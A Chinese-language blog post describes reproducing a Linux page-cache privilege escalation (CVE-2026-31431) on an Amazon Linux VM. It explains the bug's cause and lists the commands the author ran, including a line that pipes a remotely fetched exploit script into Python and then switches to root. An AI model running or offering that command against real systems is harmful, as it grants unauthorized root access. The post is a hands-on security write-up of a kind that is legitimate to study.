資安實作(2) — CVE-2026–31431 的 Copy-fail 權限提升實作
最近看到了這個 CVE 的實作,這個漏洞是權限提升,等於是不需要 root 密碼,就可以直接從一般使用者切換成 root,而且這會留在 page cache,只有重開機、清除 cache 才能消除影響,所以算是蠻可怕的漏洞的
資安實作(2) — CVE-2026–31431 的 Copy-fail 權限提升實作

最近看到了這個 CVE 的實作,這個漏洞是權限提升,等於是不需要 root 密碼,就可以直接從一般使用者切換成 root,而且這會留在 page cache,只有重開機、清除 cache 才能消除影響,所以算是蠻可怕的漏洞的
- 漏洞起源
一般為了避免頻繁的硬碟讀取,會把讀取的資料放到 Page Cache,讓下次讀取直接讀記憶體來加速
在 2017 年的優化中,Linux 核心為了加速加密運算,省去了將數據複製到安全區域處理再複製回來的步驟,改讓加密通道直接操作原始數據。然而,這個改動漏掉了一個關鍵細節:加密通道在處理數據後,本應將結果寫回自己的緩衝區,卻因為該優化不小心將結果寫進了 Page Cache
一般狀況下,一般用戶只能讀取 Page Cache,但可以用這個漏洞來使用加密通道來對 su 的 Page Cache 進行修改,進而導致權限提升
- 實作
我這台是 amazon linux 2023,然後已經起來 44 天,因為補丁是在 2026/4 才出的,所以這台剛好是這個漏洞的受害範圍

VM 使用 amazon linux 2023
然後就是執行下載腳本的部分,但先說我失敗了,因為 python 是 3.9 版的,好像 3.10 才開始有 splice
# 下載腳本並執行
curl https://copy.fail/exp | python3 && su
# 安裝 python 3.10 以上支援 splice 的版本
curl https://copy.fail/exp > origin_test.py
python3.10 origin_test.py
# 刪掉 cache
echo 3 > /proc/sys/vm/drop_caches

AttributeError,寫沒有 splice
先安裝 python 3.10 來執行,結果是可以運作的,ec2-user 能無密碼切到 root

運行下載下來的腳本後,就可以直接切換到 root 了,除非刪 cache, 重開機,否則權限都在

可以用這個指令來刪掉 cache
但如果沒有 splice 怎麼辨呢? 也是可以自己寫一個方法,我是用成功了,但就不分享了,反正是從 ctypes 下手就對了

的確能夠使用 su 來進行切換
記錄的差不多了,感覺蠻好玩的,用這招就可以救回蠻多不知道 root 密碼的問題,超級有趣
寫 2017 年以後的中招,但之前的 OS 也不一定沒有問題,哪天無聊可能再試試吧,難得搞了一次像紅隊的操作
參考資料:
- Youtube(中文資源)
- Youtube(英文資源)
- Github (反正英文講者用這個講的)
- 漏洞操作說明
- Google Gemini
메타데이터
- post_id
- 439b7c2bb4ac
- slug
- 資安實作-2-cve-2026-31431-的-copy-fail-權限提升實作-439b7c2bb4ac
- url
- https://medium.com/@King610160/%E8%B3%87%E5%AE%89%E5%AF%A6%E4%BD%9C-2-cve-2026-31431-%E7%9A%84-copy-fail-%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E5%AF%A6%E4%BD%9C-439b7c2bb4ac
- canonical_url
- https://medium.com/@King610160/%E8%B3%87%E5%AE%89%E5%AF%A6%E4%BD%9C-2-cve-2026-31431-%E7%9A%84-copy-fail-%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E5%AF%A6%E4%BD%9C-439b7c2bb4ac
- author_url
- https://medium.com/@King610160
- status
- ok
- fetched_at
- 2026-08-25 12:53:18